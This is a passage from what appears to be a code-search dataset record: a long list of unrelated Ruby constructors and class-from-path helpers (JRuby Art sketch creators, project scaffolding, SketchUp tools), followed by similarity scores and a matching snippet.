Class.new(base_class))\n else\n klass = path_mod.const_set(class_mod_name, Class.new)\n end\n raise \"Could not create class #{class_name.inspect} in module #{path_mod.inspect}.\" if klass.blank?\n klass\nend", "def create(context, name, klass, *args)\n child = component(klass).new(*args)\n c_name = klass.component || klass.name.split('::').last.underscore.to_sym\n\n child.context = context.clone\n child.context[c_name] = child\n child.context.file_path << name.to_s if name\n child.setup\n child\n end", "def initialize(path, target=nil)\n self.path = path\n self.target = target\n end", "def initialize path\n @path, @weight = path, 0\n @dependencies, @permissions, = [], []\n @name = File.basename(path).to_sym\n load_yaml\n end", "def /(path)\n\t\t\t\tif path\n\t\t\t\t\tself.class.new(File.join(self, path), self)\n\t\t\t\telse\n\t\t\t\t\tself.class.new(self, self)\n\t\t\t\tend\n\t\t\tend", "def mkpath path\n end", "def create(method, path)\n\t\tJayCutCommand.new(self, method, path)\t\t\n\tend", "def initialize(path)\n\t# path attribute that gets set on initialization\n\t\t@path = path\n\tend", "def save_java_class_path(path)\n #$CLASSPATH << File.join(PROJECT_ROOT, \"package\", \"classes\", \"java\")\n end", "def create_class(classname, superclass); end", "def make_classy( line, file_identifier )\n\t\t# TODO: should add file name to end of class\n\t\tStayClassy::Builder::DEFAULT_CLASS_TAGS.each do |tag|\n\t\t\tif line.include?( \"<#{ tag }\" ) && !line.include?( \"class=\" )\n\t\t\t\tline = line.gsub( \"<#{ tag }\", \"<#{ tag } class=\\\"#{ @prefix }#{ tag }_#{ file_identifier }\\\"\" )\n\t\t\tend\n\t\tend\n\t\treturn line\n\tend", "def build\n klass = create_class(@class_name, @options)\n klass.new\n end", "def initialize(source_path, opts = {})\n raw = File.new(source_path).read\n @raw = raw =~ /\\A!SLIDE/ ? raw : \"!SLIDE\\n#{raw}\"\n extract_classes!\n\n self.stylesheets = opts[:stylesheets] || local_stylesheets\n self.title = opts[:title] || \"Slides\"\n end", "def create(tag)\n klass = Class.new self\n klass.tag tag\n klass\n end", "def sketch_path\n @declared_fields['sketchPath'].value(java_self)\n end", "def initialize(runtime_, path:)\n unless runtime_.is_a?(MiniRacer::Context)\n raise TypeError, \"Expected a MiniRacer::Context, got #{runtime_.class}\"\n end\n @runtime = runtime_\n @paths = [path].flatten.map {|pth| File.expand_path(pth) }\n setup(@runtime, @paths)\n end", "def initialize(runtime_, path:)\n unless runtime_.is_a?(MiniRacer::Context)\n raise TypeError, \"Expected a MiniRacer::Context, got #{runtime_.class}\"\n end\n @runtime = runtime_\n @paths = [path].flatten.map {|pth| File.expand_path(pth) }\n setup(@runtime, @paths)\n end", "def initialize(path, path_type = :full)\n super()\n @ext_name = :yml\n @path_type = path_type\n @original_path = path\n @relative_save_file_path = PathnameManager.new(path, path_type).relative_save_file_path\n end", "def initialize(name, path)\n @path = path\n @name = Inflecto.underscore(name)\n @klass = Inflecto.camelize(name)\n @version = Time.new.strftime \"%Y%m%d%H%M%S\"\n end", "def initialize(path)\n @ignore = nil\n @path = path\n @elements = []\n update\n end", "def clazz( name )\n\t\t\t\tKesh::ArgTest::type( \"name\", name, String )\n\t\t\t\tKesh::ArgTest::stringLength( \"name\", name, 1 )\t\t\t\n\t\t\t\treturn Kesh::Loader::ClassInfo.new( self, name )\n\t\t\tend", "def initialize(path)\n @path = path\n @properties = StoredHash.new File.join(@path, 'props')\n end", "def create(path)\n path = File.expand_path(path)\n\n if File.exist?(path)\n raise \"specified path already exists: #{path}\"\n end\n\n FileUtils.mkdir_p(File.join(path, 'log'))\n FileUtils.mkdir(File.join(path, 'media'))\n FileUtils.mkdir(File.join(path, 'plugin'))\n FileUtils.mkdir(File.join(path, 'public'))\n FileUtils.mkdir(File.join(path, 'view'))\n FileUtils.mkdir(File.join(path, 'tmp'))\n\n FileUtils.cp(File.join(LIB_DIR, '..', 'proto', 'config.ru'), File.join(path, 'config.ru'))\n FileUtils.cp(File.join(LIB_DIR, '..', 'proto', 'thoth.conf.sample'), File.join(path, 'thoth.conf'))\n\n File.chmod(0750, File.join(path, 'log'))\n File.chmod(0750, File.join(path, 'media'))\n File.chmod(0750, File.join(path, 'plugin'))\n File.chmod(0755, File.join(path, 'public'))\n File.chmod(0750, File.join(path, 'view'))\n File.chmod(0750, File.join(path, 'tmp'))\n\n File.chmod(0640, File.join(path, 'config.ru'))\n File.chmod(0640, File.join(path, 'thoth.conf'))\n end", "def create_doc(path)\n doc = File.read(path)\n @current_xml_document = doc\n Hpricot.XML(doc)\n end", "def assert_generated_class(path, parent = nil)\n # FIXME: Sucky way to detect namespaced classes\n if path.split('/').size > 3\n path =~ /\\/?(\\d+_)?(\\w+)\\/(\\w+)$/\n class_name = \"#{$2.camelize}::#{$3.camelize}\"\n else\n path =~ /\\/?(\\d+_)?(\\w+)$/\n class_name = $2.camelize\n end\n\n assert_generated_file(\"#{path}.rb\") do |body|\n assert_match /class #{class_name}#{parent.nil? ? '':\" < #{parent}\"}/, body, \"the file '#{path}.rb' should be a class\"\n yield body if block_given?\n end\n end", "def touch_cpp_class(klass)\n h_file = klass + '.h'\n cpp_file = klass + '.cpp'\n\n raise \"Would overwrite #{h_file}!\" if File::exists?(h_file)\n raise \"Would overwrite #{cpp_file}!\" if File::exists?(cpp_file)\n\n File.open(h_file, 'w') do |f|\n guard = h_file.gsub('.', '_').upcase\n f.puts <<-EOS.gsub(/^ {6}/, '')\n /* -*- c-basic-offset: 4; indent-tabs-mode: nil; -*- */\n #ifndef #{guard}\n #define #{guard}\n\n class #{klass}\n {\n public:\n #{klass}();\n\n private:\n\n };\n\n #endif // #{guard}\n EOS\n end\n\n File.open(cpp_file, 'w') do |f|\n f.puts <<-EOS.gsub(/^ {6}/, '')\n /* -*- c-basic-offset: 4; indent-tabs-mode: nil; -*- */\n #include \"#{h_file}\"\n\n #{klass}::#{klass}()\n {\n // ctor code\n }\n EOS\n end\nend", "def initialize(piece_path)\n @piece_path = piece_path\n end", "def initialize(path, digest_klass)\n if digest_klass.is_a?(Class)\n @digest_klass = digest_klass\n else\n @digest_klass = load_digest(digest_klass)\n end\n\n @path = path\n end", "def initialize(path)\n @path = Rubinius::Type.coerce_to_path path\n @load_path = nil\n @file_path = nil\n @feature = nil\n @stat = nil\n @type = nil\n end", "def parse_class(klass, path)\n methods = find_class_methods(klass)\n elements = parse_methods(methods, path)\n end", "def instantiate(*args)\n clazz.new(*args)\n end", "def initialize(path)\n @path = path.to_s\n end", "def initialize(*parts)\n path = parts.size > 1 ? File.join(*parts) : parts.first\n @path = case path\n when Tempfile\n @_tmpfile = path # We would not want it to be GC'd\n path.path.dup\n when String\n path.dup\n else\n path.to_s.dup\n end\n\n init\n end", "def assert_generated_class(path, parent = nil, class_name = class_name_from_path(path))\n assert_generated_file(\"#{path}.rb\") do |body|\n assert_match /class #{class_name}#{parent.nil? ? '':\" < #{parent}\"}/, body, \"the file '#{path}.rb' should be a class\"\n yield body if block_given?\n end\n end", "def create( target_class, *args )\n @class_loader.newInstance(target_class, *args )\n end", "def initialize(path = [], add_point_mode = false, end_angles = nil, handle_length = HANDLE_LENGTH, force_horizontal = true, back_along_path = nil)# REVIEW: use hash for all arguments?\n\n @path = path\n @add_point_mode = add_point_mode\n @end_angles = end_angles\n @handle_length = handle_length\n @force_horizontal = force_horizontal\n @back_along_path = back_along_path\n\n # What controller is currently selected (being moved)\n # Index to the point in path currently selected, :start,\n # :end or nil when nothing is selected.\n @active_controller\n\n # What controller or path segment is hovered.\n # As @active_controller but negative index is used when path is hovered\n # between corners. Segment cannot be selected though, only hovered.\n @hovered_controller\n\n @ip = Sketchup::InputPoint.new\n\n # Input point position projected to planes or lines input is locked to.\n @corrected_input\n\n # Update controller's scaling.\n update_controller_scaling Sketchup.active_model.active_view\n\n # Coordinates for last mouse down.\n # Used to differ down-drag-up from click-move-click.\n @x_down\n @y_down\n\n # Clear model selection so delete key can be safely used.\n Sketchup.active_model.selection.clear\n\n end", "def initialize(path)\n @path = Pathname.new(path).tap{ |check| check.stat }\n @namespace = @path.parent.basename.to_s\n @name = @path.basename.to_s\n initialize_specfile\n initialize_options\n initialize_directories\n initialize_models\n rescue Errno::ENOENT => error\n raise RuntimeError, error.message\n end", "def for(path)\n NativeClientProxy.new(path, self)\n end", "def initialize(path)\n @path=path #create an instance variable which takes in the users input\n end", "def initialize(path)\n @path = path\n @@all << self \n end", "def initialize(path)\n @path = path\n @intfs = @@intfs.dup\n @service = nil\n end", "def initialize(path)\n @path = path\n \n @path += '.pid' unless (@path.match(/\\./))\n end", "def initialize(path, path_type = :full)\n super()\n @ext_name = :yml\n @path_type = path_type\n @path = path\n end", "def initialize(filename)\n @path = filename\n end", "def mkpath(path)\n FileUtils.mkpath\n end", "def initialize(path)\n @path = path\n @real_path = File.expand_path(@path)\n @dir_path = File.dirname(@real_path)\n @dir = File.directory?(@real_path)\n @name = File.basename(@real_path)\n unless @dir\n @ext = File.extname(@name, conf[:options][:dots])\n @name.gsub!(Regexp.new('.' << Regexp.escape(@ext) << '$'), '') unless @ext.empty?\n @level = 0\n else\n @level = @real_path.split('/').size\n end\n end", "def initialize(path, options = {})\n @path = File.expand_path(path)\n FileUtils.mkdir_p(File.dirname(@path))\n super(file_stream, options)\n end", "def class_path klass_name\n File.join @path, *klass_name.split('::')\n end", "def initialize(path)\n @path = File.expand_path(path)\n\n @directories = []\n @files = {}\n @templates = {}\n @includes = Hash.new { |hash,key| hash[key] = {} }\n\n @disable = []\n @enable = []\n\n @ignore = []\n @dependencies = {}\n @development_dependencies = {}\n @variables = {}\n\n load!\n scan!\n end", "def class_at_path(path)\n if path\n begin\n # remove the _ and then singularize\n if path.last == :[]\n index = -2\n else\n index = -1\n end\n\n klass_name = path[index].singularize.camelize\n\n klass = $page.model_classes[klass_name] || Model\n rescue NameError => e\n # Ignore exception, just means the model isn't defined\n klass = Model\n end\n else\n klass = Model\n end\n\n return klass\n end", "def initialize(path)\n super(path)\n end", "def assert_generated_class(path,parent=nil)\n path=~/\\/?(\\d+_)?(\\w+)$/\n class_name=$2.camelize\n assert_generated_file(\"#{path}.rb\") do |body|\n assert body=~/class #{class_name}#{parent.nil? ? '':\" < #{parent}\"}/,\"the file '#{path}.rb' should be a class\"\n yield body if block_given?\n end\n end", "def create(root_pathname, *init_args, &block)\n instance = new(root_pathname)\n instance.clear\n instance.init(*init_args)\n instance.instance_eval(&block) if block\n end", "def mkpath\n @path.mkpath\n end", "def initialize path\n @path = Pathname.new path\n @path = @path.expand_path unless @path.absolute?\n\n # Ensure library is a valid directory\n unless @path.directory?\n raise DoesNotExist, \"Given path is not a valid mobile applications library: #{@path}\"\n end\n\n @apps = nil\n end", "def generate_for_full_class_code(test_path_absolute)\n # Checking if it's possible to create test based on provided path. In case something is wrong with\n # modules structure in class itself Moto::Test::Base will be instantized with raise injected into its run()\n # so we can have proper reporting and summary even if the test doesn't execute.\n begin\n require test_path_absolute\n class_name = test_path_absolute.gsub(\"#{MotoApp::DIR}/\", 'moto_app/').camelize.chomp('.rb').constantize\n test_object = class_name.new\n rescue NameError => e\n class_name = Moto::Test::Base\n test_object = class_name.new\n\n error_message = \"ERROR: Invalid test: #{test_path_absolute.gsub(\"#{MotoApp::DIR}/\", 'moto_app/').camelize.chomp('.rb')}.\\nMESSAGE: #{e}\"\n inject_error_to_test(test_object, error_message)\n end\n\n test_object.static_path = test_path_absolute\n test_object.evaled = false\n test_object\n end", "def create_class(domain, klass, mindevcount)\n modify_class(domain, klass, mindevcount, :create)\n end", "def initialize(path = DEFAULT_ASSETS_PATH)\n @path = path\n end", "def create_class *c\n\t\torientdb.create_class( *c ){ self }\n\tend", "def initialize(path)\n @path = path\n @tree, @cities = if File.exists?(tree_dst_path) && File.exists?(city_dst_path)\n TzPickup::TzTree.load(tree_dst_path, city_dst_path)\n else\n TzPickup::TzTree.create(src_path, tree_dst_path, city_dst_path)\n end\n end" ]
[ "0.6735142", "0.66171384", "0.6489489", "0.61388654", "0.612821", "0.59372514", "0.59039336", "0.56536794", "0.5604674", "0.56000274", "0.55354565", "0.5443351", "0.5440257", "0.5440257", "0.5440257", "0.5440257", "0.5440257", "0.5438229", "0.5413889", "0.5399615", "0.53920144", "0.53920144", "0.53920144", "0.53920144", "0.53920144", "0.53901535", "0.53901535", "0.53877527", "0.5375917", "0.5318056", "0.5312128", "0.531202", "0.5305585", "0.5299008", "0.5283812", "0.5283812", "0.5246634", "0.5237912", "0.5209044", "0.52045345", "0.5202091", "0.51950014", "0.5148914", "0.5134923", "0.51311094", "0.5118601", "0.51052696", "0.5086052", "0.5073916", "0.50417554", "0.50075877", "0.49982125", "0.49926147", "0.49829423", "0.49755904", "0.49736866", "0.49736866", "0.49736744", "0.49729615", "0.49700132", "0.49679977", "0.49630773", "0.49621922", "0.49590325", "0.49519536", "0.49373567", "0.4934071", "0.4925939", "0.49195367", "0.4918159", "0.49143407", "0.49142522", "0.4914034", "0.49029407", "0.4902069", "0.49014586", "0.49014524", "0.48833147", "0.48763302", "0.487631", "0.48714873", "0.4870905", "0.4868708", "0.48645654", "0.48616576", "0.48596013", "0.48501828", "0.4847637", "0.48410815", "0.4837284", "0.48233333", "0.48200026", "0.48172045", "0.481608", "0.4813503", "0.47989035", "0.47988328", "0.47953144", "0.47904417", "0.47880098" ]
0.6114507
5
Create a class wrapped sketch, given a path.
def create!(path, args) return usage if /\?/ =~ path || /--help/ =~ path main_file = File.basename(path, '.rb') # allow uneeded extension input # Check to make sure that the main file doesn't exist already already_exist(path) @name = StringExtra.new(main_file).camelize writer = SketchWriter.new(main_file) @title = StringExtra.new(main_file).titleize @width, @height = args[0], args[1] @mode = args[2].upcase unless args[2].nil? template = @mode.nil? ? emacs_template : emacs_template_mode writer.save(template) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create(sketch, args)\n require_relative '../jruby_art/creators/creator'\n return Processing::Inner.new.create!(sketch, args) if @options.inner\n return Processing::ClassSketch.new.create!(sketch, args) if @options.wrap\n return Processing::EmacsSketch.new.create!(sketch, args) if @options.emacs\n Processing::BasicSketch.new.create!(sketch, args)\n end", "def create!(path, _args_)\n return usage if /\\?/ =~ path || /--help/ =~ path\n main_file = File.basename(path, '.rb') # allow uneeded extension input\n # Check to make sure that the main file doesn't exist already\n already_exist(path)\n @name = main_file.camelize\n writer = SketchWriter.new(main_file)\n template = inner_class_template\n writer.save(template)\n end", "def sparkCreate(className, path)\n delete(path)\n\n #logNormal($sparkPrefix +\" creating \" + className + \" instance at \" + path + \"\\n\")\n\n return new(className, path)\nend", "def create_sketch\n # Process header separately since it must be first.\n template_list = Array.new\n header = Component.find_by_name_and_category(\"header\", \"general\")\n template_list.push(return_segments(header))\n\n # Config keys are the top-level JSON hashes. We use those as categories\n # for gathering components\n config.keys.each do |c|\n template_list.push(gather_components(c))\n end\n\n footer = Component.find_by_name_and_category(\"footer\", \"general\")\n template_list.push(return_segments(footer))\n template_list.flatten!\n\n global = template_list.map { |g| g[:global] }.join(\"\")\n setup = template_list.map { |g| g[:setup] }.join(\"\")\n loop = template_list.map { |g| g[:loop] }.join(\"\")\n sketch = [global, setup, loop].join(\"\\n\")\n \n # Write sketch file\n File.open get_sketch_file, \"w\" do |file|\n file << sketch\n end\n\n # Write sketch configuration\n configfile = get_src_dir + \"config.json\"\n File.open configfile, \"w\" do |file|\n file << self.as_json(:only => Component.where(:category => \"general\"))\n file << self.config\n end\n end", "def sparkGetOrCreate(className, path)\n obj = get(path)\n\n if (obj != nil)\n return obj\n end\n\n #logNormal($sparkPrefix +\" creating \" + className + \" instance at \" + path + \"\\n\")\n\n return new(className, path)\nend", "def create!(path, args)\n return usage if /\\?/ =~ path || /--help/ =~ path\n main_file = File.basename(path, '.rb') # allow uneeded extension input\n # Check to make sure that the main file doesn't exist already\n already_exist(path)\n @name = StringExtra.new(main_file).camelize\n writer = SketchWriter.new(main_file)\n @title = StringExtra.new(main_file).titleize\n @width, @height = args[0], args[1]\n @mode = args[2].upcase unless args[2].nil?\n template = @mode.nil? ? class_template : class_template_mode\n writer.save(template)\n end", "def initialize(path = nil)\n self.path = path || generate_path\n \n FileUtils.mkdir_p(self.path)\n end", "def set_sketch_path(path=nil)\n field = self.java_class.declared_field('sketchPath')\n local = File.dirname(SKETCH_PATH)\n default = $__windows_app_mode__ ? \"#{local}/lib\" : local\n field.set_value(Java.ruby_to_java(self), path || default)\n end", "def create_part_of_path(path)\n begin\n @zk.create(path, \"\".to_java_bytes, default_acl, default_mode)\n rescue\n puts \"#{$!}\"\n end\n end", "def set_sketch_path(path=nil)\n field = @declared_fields['sketchPath']\n field.set_value(java_self, path || SKETCH_ROOT)\n end", "def new(path)\n mkdir_p path\n full_path = File.expand_path path\n @name = File.basename(full_path).titleize\n self.destination_root = full_path\n write_keeps\n write_files\n bundle!\n end", "def inject_into_class(path, klass, *args, &block)\n config = args.last.is_a?(Hash) ? args.pop : {}\n config[:after] = /class #{klass}\\n|class #{klass} .*\\n/\n insert_into_file(path, *(args << config), &block)\n end", "def initialize(path)\n @path = path\n @disk = Yaml.new(path)\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path \n end", "def initialize(path)\n @path = File.expand_path(path)\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def create(path, options)\n trello_class = class_from_path(path)\n trello_class.save options do |data|\n data.client = self\n end\n end", "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def class_from_path(path)\n return nil unless path =~ /manifests.+\\.pp$/\n\n (path.sub(project_root + '/', '')\n .sub(/\\.pp$/, '')\n .split('/') - %w(site manifests))\n .join('::')\n end", "def initialize(path)\n @path = path\n end", "def initialize(path)\n @path = path\n end", "def initialize(path); end", "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def from_path(path); end", "def initialize(path)\n\t\tself.path = path\n\t\tself.client = self.class.client\n\tend", "def create(path)\n log.debug \"synapse: creating ZK path: #{path}\"\n\n # recurse if the parent node does not exist\n create File.dirname(path) unless @zk.exists? File.dirname(path)\n @zk.create(path, ignore: :node_exists)\n end", "def fixture_appletclass( path, name, classname )\n\t\tapplet = stub( \"#{classname} instance (path)\" )\n\t\tappletclass = stub( \"#{classname} class\",\n\t\t\t:name => name,\n\t\t\t:normalized_name => classname,\n\t\t\t:new => applet\n\t\t )\n\n\t\tArrow::Applet.should_receive( :load ).with( path ).once.\n\t\t\tand_return([ appletclass ])\n\t\tFile.should_receive( :mtime ).with( path ).and_return( Time.now )\n\n\t\treturn applet, appletclass\n\tend", "def path_to_class(path, base_class=nil)\n class_name = path.classify\n klass = class_name.safe_constantize\n return klass if klass.present? && klass.kind_of?(Class)\n raise \"Class #{class_name.inspect} constant already exists as a #{klass.name} and is not a class.\" if klass.present?\n path_mod = class_module(path)\n class_mod_name = class_name.demodulize\n if base_class.present?\n klass = path_mod.const_set(class_mod_name, Class.new(base_class))\n else\n klass = path_mod.const_set(class_mod_name, Class.new)\n end\n raise \"Could not create class #{class_name.inspect} in module #{path_mod.inspect}.\" if klass.blank?\n klass\nend", "def create(context, name, klass, *args)\n child = component(klass).new(*args)\n c_name = klass.component || klass.name.split('::').last.underscore.to_sym\n\n child.context = context.clone\n child.context[c_name] = child\n child.context.file_path << name.to_s if name\n child.setup\n child\n end", "def initialize(path, target=nil)\n self.path = path\n self.target = target\n end", "def initialize path\n @path, @weight = path, 0\n @dependencies, @permissions, = [], []\n @name = File.basename(path).to_sym\n load_yaml\n end", "def /(path)\n\t\t\t\tif path\n\t\t\t\t\tself.class.new(File.join(self, path), self)\n\t\t\t\telse\n\t\t\t\t\tself.class.new(self, self)\n\t\t\t\tend\n\t\t\tend", "def mkpath path\n end", "def create(method, path)\n\t\tJayCutCommand.new(self, method, path)\t\t\n\tend", "def initialize(path)\n\t# path attribute that gets set on initialization\n\t\t@path = path\n\tend", "def save_java_class_path(path)\n #$CLASSPATH << File.join(PROJECT_ROOT, \"package\", \"classes\", \"java\")\n end", "def create_class(classname, superclass); end", "def make_classy( line, file_identifier )\n\t\t# TODO: should add file name to end of class\n\t\tStayClassy::Builder::DEFAULT_CLASS_TAGS.each do |tag|\n\t\t\tif line.include?( \"<#{ tag }\" ) && !line.include?( \"class=\" )\n\t\t\t\tline = line.gsub( \"<#{ tag }\", \"<#{ tag } class=\\\"#{ @prefix }#{ tag }_#{ file_identifier }\\\"\" )\n\t\t\tend\n\t\tend\n\t\treturn line\n\tend", "def build\n klass = create_class(@class_name, @options)\n klass.new\n end", "def initialize(source_path, opts = {})\n raw = File.new(source_path).read\n @raw = raw =~ /\\A!SLIDE/ ? raw : \"!SLIDE\\n#{raw}\"\n extract_classes!\n\n self.stylesheets = opts[:stylesheets] || local_stylesheets\n self.title = opts[:title] || \"Slides\"\n end", "def create(tag)\n klass = Class.new self\n klass.tag tag\n klass\n end", "def sketch_path\n @declared_fields['sketchPath'].value(java_self)\n end", "def initialize(runtime_, path:)\n unless runtime_.is_a?(MiniRacer::Context)\n raise TypeError, \"Expected a MiniRacer::Context, got #{runtime_.class}\"\n end\n @runtime = runtime_\n @paths = [path].flatten.map {|pth| File.expand_path(pth) }\n setup(@runtime, @paths)\n end", "def initialize(runtime_, path:)\n unless runtime_.is_a?(MiniRacer::Context)\n raise TypeError, \"Expected a MiniRacer::Context, got #{runtime_.class}\"\n end\n @runtime = runtime_\n @paths = [path].flatten.map {|pth| File.expand_path(pth) }\n setup(@runtime, @paths)\n end", "def initialize(path, path_type = :full)\n super()\n @ext_name = :yml\n @path_type = path_type\n @original_path = path\n @relative_save_file_path = PathnameManager.new(path, path_type).relative_save_file_path\n end", "def initialize(name, path)\n @path = path\n @name = Inflecto.underscore(name)\n @klass = Inflecto.camelize(name)\n @version = Time.new.strftime \"%Y%m%d%H%M%S\"\n end", "def initialize(path)\n @ignore = nil\n @path = path\n @elements = []\n update\n end", "def clazz( name )\n\t\t\t\tKesh::ArgTest::type( \"name\", name, String )\n\t\t\t\tKesh::ArgTest::stringLength( \"name\", name, 1 )\t\t\t\n\t\t\t\treturn Kesh::Loader::ClassInfo.new( self, name )\n\t\t\tend", "def initialize(path)\n @path = path\n @properties = StoredHash.new File.join(@path, 'props')\n end", "def create(path)\n path = File.expand_path(path)\n\n if File.exist?(path)\n raise \"specified path already exists: #{path}\"\n end\n\n FileUtils.mkdir_p(File.join(path, 'log'))\n FileUtils.mkdir(File.join(path, 'media'))\n FileUtils.mkdir(File.join(path, 'plugin'))\n FileUtils.mkdir(File.join(path, 'public'))\n FileUtils.mkdir(File.join(path, 'view'))\n FileUtils.mkdir(File.join(path, 'tmp'))\n\n FileUtils.cp(File.join(LIB_DIR, '..', 'proto', 'config.ru'), File.join(path, 'config.ru'))\n FileUtils.cp(File.join(LIB_DIR, '..', 'proto', 'thoth.conf.sample'), File.join(path, 'thoth.conf'))\n\n File.chmod(0750, File.join(path, 'log'))\n File.chmod(0750, File.join(path, 'media'))\n File.chmod(0750, File.join(path, 'plugin'))\n File.chmod(0755, File.join(path, 'public'))\n File.chmod(0750, File.join(path, 'view'))\n File.chmod(0750, File.join(path, 'tmp'))\n\n File.chmod(0640, File.join(path, 'config.ru'))\n File.chmod(0640, File.join(path, 'thoth.conf'))\n end", "def create_doc(path)\n doc = File.read(path)\n @current_xml_document = doc\n Hpricot.XML(doc)\n end", "def assert_generated_class(path, parent = nil)\n # FIXME: Sucky way to detect namespaced classes\n if path.split('/').size > 3\n path =~ /\\/?(\\d+_)?(\\w+)\\/(\\w+)$/\n class_name = \"#{$2.camelize}::#{$3.camelize}\"\n else\n path =~ /\\/?(\\d+_)?(\\w+)$/\n class_name = $2.camelize\n end\n\n assert_generated_file(\"#{path}.rb\") do |body|\n assert_match /class #{class_name}#{parent.nil? ? '':\" < #{parent}\"}/, body, \"the file '#{path}.rb' should be a class\"\n yield body if block_given?\n end\n end", "def touch_cpp_class(klass)\n h_file = klass + '.h'\n cpp_file = klass + '.cpp'\n\n raise \"Would overwrite #{h_file}!\" if File::exists?(h_file)\n raise \"Would overwrite #{cpp_file}!\" if File::exists?(cpp_file)\n\n File.open(h_file, 'w') do |f|\n guard = h_file.gsub('.', '_').upcase\n f.puts <<-EOS.gsub(/^ {6}/, '')\n /* -*- c-basic-offset: 4; indent-tabs-mode: nil; -*- */\n #ifndef #{guard}\n #define #{guard}\n\n class #{klass}\n {\n public:\n #{klass}();\n\n private:\n\n };\n\n #endif // #{guard}\n EOS\n end\n\n File.open(cpp_file, 'w') do |f|\n f.puts <<-EOS.gsub(/^ {6}/, '')\n /* -*- c-basic-offset: 4; indent-tabs-mode: nil; -*- */\n #include \"#{h_file}\"\n\n #{klass}::#{klass}()\n {\n // ctor code\n }\n EOS\n end\nend", "def initialize(piece_path)\n @piece_path = piece_path\n end", "def initialize(path, digest_klass)\n if digest_klass.is_a?(Class)\n @digest_klass = digest_klass\n else\n @digest_klass = load_digest(digest_klass)\n end\n\n @path = path\n end", "def initialize(path)\n @path = Rubinius::Type.coerce_to_path path\n @load_path = nil\n @file_path = nil\n @feature = nil\n @stat = nil\n @type = nil\n end", "def parse_class(klass, path)\n methods = find_class_methods(klass)\n elements = parse_methods(methods, path)\n end", "def instantiate(*args)\n clazz.new(*args)\n end", "def initialize(path)\n @path = path.to_s\n end", "def initialize(*parts)\n path = parts.size > 1 ? File.join(*parts) : parts.first\n @path = case path\n when Tempfile\n @_tmpfile = path # We would not want it to be GC'd\n path.path.dup\n when String\n path.dup\n else\n path.to_s.dup\n end\n\n init\n end", "def assert_generated_class(path, parent = nil, class_name = class_name_from_path(path))\n assert_generated_file(\"#{path}.rb\") do |body|\n assert_match /class #{class_name}#{parent.nil? ? '':\" < #{parent}\"}/, body, \"the file '#{path}.rb' should be a class\"\n yield body if block_given?\n end\n end", "def create( target_class, *args )\n @class_loader.newInstance(target_class, *args )\n end", "def initialize(path = [], add_point_mode = false, end_angles = nil, handle_length = HANDLE_LENGTH, force_horizontal = true, back_along_path = nil)# REVIEW: use hash for all arguments?\n\n @path = path\n @add_point_mode = add_point_mode\n @end_angles = end_angles\n @handle_length = handle_length\n @force_horizontal = force_horizontal\n @back_along_path = back_along_path\n\n # What controller is currently selected (being moved)\n # Index to the point in path currently selected, :start,\n # :end or nil when nothing is selected.\n @active_controller\n\n # What controller or path segment is hovered.\n # As @active_controller but negative index is used when path is hovered\n # between corners. Segment cannot be selected though, only hovered.\n @hovered_controller\n\n @ip = Sketchup::InputPoint.new\n\n # Input point position projected to planes or lines input is locked to.\n @corrected_input\n\n # Update controller's scaling.\n update_controller_scaling Sketchup.active_model.active_view\n\n # Coordinates for last mouse down.\n # Used to differ down-drag-up from click-move-click.\n @x_down\n @y_down\n\n # Clear model selection so delete key can be safely used.\n Sketchup.active_model.selection.clear\n\n end", "def initialize(path)\n @path = Pathname.new(path).tap{ |check| check.stat }\n @namespace = @path.parent.basename.to_s\n @name = @path.basename.to_s\n initialize_specfile\n initialize_options\n initialize_directories\n initialize_models\n rescue Errno::ENOENT => error\n raise RuntimeError, error.message\n end", "def for(path)\n NativeClientProxy.new(path, self)\n end", "def initialize(path)\n @path=path #create an instance variable which takes in the users input\n end", "def initialize(path)\n @path = path\n @@all << self \n end", "def initialize(path)\n @path = path\n @intfs = @@intfs.dup\n @service = nil\n end", "def initialize(path)\n @path = path\n \n @path += '.pid' unless (@path.match(/\\./))\n end", "def initialize(path, path_type = :full)\n super()\n @ext_name = :yml\n @path_type = path_type\n @path = path\n end", "def initialize(filename)\n @path = filename\n end", "def mkpath(path)\n FileUtils.mkpath\n end", "def initialize(path)\n @path = path\n @real_path = File.expand_path(@path)\n @dir_path = File.dirname(@real_path)\n @dir = File.directory?(@real_path)\n @name = File.basename(@real_path)\n unless @dir\n @ext = File.extname(@name, conf[:options][:dots])\n @name.gsub!(Regexp.new('.' << Regexp.escape(@ext) << '$'), '') unless @ext.empty?\n @level = 0\n else\n @level = @real_path.split('/').size\n end\n end", "def initialize(path, options = {})\n @path = File.expand_path(path)\n FileUtils.mkdir_p(File.dirname(@path))\n super(file_stream, options)\n end", "def class_path klass_name\n File.join @path, *klass_name.split('::')\n end", "def initialize(path)\n @path = File.expand_path(path)\n\n @directories = []\n @files = {}\n @templates = {}\n @includes = Hash.new { |hash,key| hash[key] = {} }\n\n @disable = []\n @enable = []\n\n @ignore = []\n @dependencies = {}\n @development_dependencies = {}\n @variables = {}\n\n load!\n scan!\n end", "def class_at_path(path)\n if path\n begin\n # remove the _ and then singularize\n if path.last == :[]\n index = -2\n else\n index = -1\n end\n\n klass_name = path[index].singularize.camelize\n\n klass = $page.model_classes[klass_name] || Model\n rescue NameError => e\n # Ignore exception, just means the model isn't defined\n klass = Model\n end\n else\n klass = Model\n end\n\n return klass\n end", "def initialize(path)\n super(path)\n end", "def assert_generated_class(path,parent=nil)\n path=~/\\/?(\\d+_)?(\\w+)$/\n class_name=$2.camelize\n assert_generated_file(\"#{path}.rb\") do |body|\n assert body=~/class #{class_name}#{parent.nil? ? '':\" < #{parent}\"}/,\"the file '#{path}.rb' should be a class\"\n yield body if block_given?\n end\n end", "def create(root_pathname, *init_args, &block)\n instance = new(root_pathname)\n instance.clear\n instance.init(*init_args)\n instance.instance_eval(&block) if block\n end", "def mkpath\n 